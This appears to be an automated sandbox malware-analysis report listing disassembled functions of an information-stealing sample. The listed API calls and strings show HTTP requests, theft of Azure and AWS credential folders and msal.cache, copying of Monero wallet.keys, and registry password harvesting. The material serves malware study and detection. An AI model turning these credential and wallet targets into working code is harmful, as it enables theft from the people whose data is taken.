Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 4bbf54a077948764791089933173081452f0726b9c6d2b2870e8f41dab61d0a1
Instruction ID: 57dfdb43f9d0db14e0d8dc3b140772a6782a280cbd13bc788569458f7175f090
Opcode Fuzzy Hash: 4bbf54a077948764791089933173081452f0726b9c6d2b2870e8f41dab61d0a1
Instruction Fuzzy Hash: 5A811B71910218ABDB25DB54CC95FEAB7B8FF58700F008298F149AB140DF75AB89CF91

Function 00326280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00324839
Part of subcall function 003247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00324849

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00326303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
HttpOpenRequestA.WININET(00000000,GET,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 00326385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 003263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0032646D
InternetCloseHandle.WININET(00000000), ref: 003264EF
InternetCloseHandle.WININET(00000000), ref: 003264F9
InternetCloseHandle.WININET(00000000), ref: 00326503

Strings

ERROR, xrefs: 00326407
ERROR, xrefs: 003264C9
GET, xrefs: 0032637C

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: fba064a1b82b33012f04f850dec9f616bedc41d0c75f1c66fe6739521eb5b642
Instruction ID: 3018af24a5b6518910f6526ab8acb68ad5d19088933281c84fd326dfc4466d31
Opcode Fuzzy Hash: fba064a1b82b33012f04f850dec9f616bedc41d0c75f1c66fe6739521eb5b642
Instruction Fuzzy Hash: 49714F71A00218ABDB15EFA4DC95FEE77B8FF44700F108198F50A6B190DBB46A89DF51

Function 00335510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A820: lstrlen.KERNEL32(00324F05,?,?,00324F05,00340DDE), ref: 0033A82B
Part of subcall function 0033A820: lstrcpy.KERNEL32(00340DDE,00000000), ref: 0033A885

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 003356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335857

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335228

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 003352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335318
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 0033532F
Part of subcall function 003352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00335364
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 00335383
Part of subcall function 003352C0: lstrlen.KERNEL32(00000000), ref: 003353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0033578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00335A0C
Sleep.KERNEL32(0000EA60), ref: 00335A1B

Strings

ERROR, xrefs: 0033577D
ERROR, xrefs: 00335932
ERROR, xrefs: 00335693
ERROR, xrefs: 003359FE
ERROR, xrefs: 00335849
ERROR, xrefs: 00335636

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 00d82733ca9f4d54f8266af19b190e8f3618969cb953151e776c6ba56edecc85
Instruction ID: 56683615bd913ca6f5d25927ea4ac119cbf417433328b7df331ab4ecf80498fd
Opcode Fuzzy Hash: 00d82733ca9f4d54f8266af19b190e8f3618969cb953151e776c6ba56edecc85
Instruction Fuzzy Hash: 8BE15072910604AACB16FBA4DDD2AED7778AF64300F508128F4476F091EF746A4DDB92

Function 00334D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00338DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00338E0B

lstrcat.KERNEL32(?,00000000), ref: 00334DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00334DCD

Part of subcall function 00334910: wsprintfA.USER32 ref: 0033492C
Part of subcall function 00334910: FindFirstFileA.KERNEL32(?,?), ref: 00334943

lstrcat.KERNEL32(?,00000000), ref: 00334E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00334E59

Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FDC), ref: 00334971
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,00340FE0), ref: 00334987
Part of subcall function 00334910: FindNextFileA.KERNEL32(000000FF,?), ref: 00334B7D
Part of subcall function 00334910: FindClose.KERNEL32(000000FF), ref: 00334B92

lstrcat.KERNEL32(?,00000000), ref: 00334EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00334EE5

Part of subcall function 00334910: wsprintfA.USER32 ref: 003349B0
Part of subcall function 00334910: StrCmpCA.SHLWAPI(?,003408D2), ref: 003349C5
Part of subcall function 00334910: wsprintfA.USER32 ref: 003349E2
Part of subcall function 00334910: PathMatchSpecA.SHLWAPI(?,?), ref: 00334A1E
Part of subcall function 00334910: lstrcat.KERNEL32(?,00F2E920), ref: 00334A4A
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FF8), ref: 00334A5C
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A70
Part of subcall function 00334910: lstrcat.KERNEL32(?,00340FFC), ref: 00334A82
Part of subcall function 00334910: lstrcat.KERNEL32(?,?), ref: 00334A96
Part of subcall function 00334910: CopyFileA.KERNEL32(?,?,00000001), ref: 00334AAC
Part of subcall function 00334910: DeleteFileA.KERNEL32(?), ref: 00334B31

Strings

msal.cache, xrefs: 00334EF0
\.azure\, xrefs: 00334DC1
\.aws\, xrefs: 00334E4D
Azure\.IdentityService, xrefs: 00334EEB
Azure\.aws, xrefs: 00334E5F
\.IdentityService\, xrefs: 00334ED9
*.*, xrefs: 00334DD8
*.*, xrefs: 00334E64
Azure\.azure, xrefs: 00334DD3

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: ba53361146c02fcb0061bbd751283f9a7b0ac8ac469312eb7cd2d97ef242e3a7
Instruction ID: 493052dedb917023b7b43eb19f2f4077cc89ab0b93abe161500aed692ee91333
Opcode Fuzzy Hash: ba53361146c02fcb0061bbd751283f9a7b0ac8ac469312eb7cd2d97ef242e3a7
Instruction Fuzzy Hash: 494193BA94020467CB15F770EC97FED7778AB24700F004594B2896A0C1EEB5ABC99B92

Function 00321310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 003212B4
Part of subcall function 003212A0: RtlAllocateHeap.NTDLL(00000000), ref: 003212BB
Part of subcall function 003212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 003212D7
Part of subcall function 003212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003212F5
Part of subcall function 003212A0: RegCloseKey.ADVAPI32(?), ref: 003212FF

lstrcat.KERNEL32(?,00000000), ref: 0032134F
lstrlen.KERNEL32(?), ref: 0032135C
lstrcat.KERNEL32(?,.keys), ref: 00321377

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

Part of subcall function 00338B60: GetSystemTime.KERNEL32(00340E1A,00F2A628,003405AE,?,?,003213F9,?,0000001A,00340E1A,00000000,?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 00338B86

Part of subcall function 0033A920: lstrcpy.KERNEL32(00000000,?), ref: 0033A972
Part of subcall function 0033A920: lstrcat.KERNEL32(00000000), ref: 0033A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00321465

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 003299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003299EC
Part of subcall function 003299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00329A11
Part of subcall function 003299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00329A31
Part of subcall function 003299C0: ReadFile.KERNEL32(000000FF,?,00000000,0032148F,00000000), ref: 00329A5A
Part of subcall function 003299C0: LocalFree.KERNEL32(0032148F), ref: 00329A90
Part of subcall function 003299C0: CloseHandle.KERNEL32(000000FF), ref: 00329A9A

DeleteFileA.KERNEL32(00000000), ref: 003214EF

Strings

.keys, xrefs: 0032136B
\Monero\wallet.keys, xrefs: 0032138D
wallet_path, xrefs: 00321330
SOFTWARE\monero-project\monero-core, xrefs: 00321335

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 484ffc9267d6c6a02fd159fa6cc1ec15f1e2cfecfb4ca4d6479a1bc28360b893
Instruction ID: 88bc882f7fc7f4dd34607839b7e2aeb40a4ebadc86deb01487b3f0fab00c055c
Opcode Fuzzy Hash: 484ffc9267d6c6a02fd159fa6cc1ec15f1e2cfecfb4ca4d6479a1bc28360b893
Instruction Fuzzy Hash: 355152B1D1021857CB16FB60DDD2BED737CAF54300F4041A8B64A6A082EF746B89DFA6

Function 00337500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00337542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0033757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00337603
RtlAllocateHeap.NTDLL(00000000), ref: 0033760A
wsprintfA.USER32 ref: 00337640

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

\, xrefs: 00337560
:, xrefs: 0033755C
4, xrefs: 0033764D, 00337655, 0033761B, 00337623
C, xrefs: 0033754C

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$4
API String ID: 1544550907-3012984618
Opcode ID: a68315c525dd1763e0cc1f8a13d7f23be75c6dd2b7642a89e9b722ec84082cbd
Instruction ID: 7b29d2504bb9c150329b5408cbb416f01805d1e659a17b6df58cb3aa3856881b
Opcode Fuzzy Hash: a68315c525dd1763e0cc1f8a13d7f23be75c6dd2b7642a89e9b722ec84082cbd
Instruction Fuzzy Hash: 7A4182F1D04258ABDB11DF98DC95BDEBBB8AF18700F100199F5097B280D7786A44CFA5

Function 003275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003272D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0032733A
Part of subcall function 003272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003273B1
Part of subcall function 003272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0032740D
Part of subcall function 003272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00327452
Part of subcall function 003272D0: HeapFree.KERNEL32(00000000), ref: 00327459

lstrcat.KERNEL32(3560C020,003417FC), ref: 00327606
lstrcat.KERNEL32(3560C020,00000000), ref: 00327648
lstrcat.KERNEL32(3560C020, : ), ref: 0032765A
lstrcat.KERNEL32(3560C020,00000000), ref: 0032768F
lstrcat.KERNEL32(3560C020,00341804), ref: 003276A0
lstrcat.KERNEL32(3560C020,00000000), ref: 003276D3
lstrcat.KERNEL32(3560C020,00341808), ref: 003276ED
task.LIBCPMTD ref: 003276FB

Strings

: , xrefs: 0032764E

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
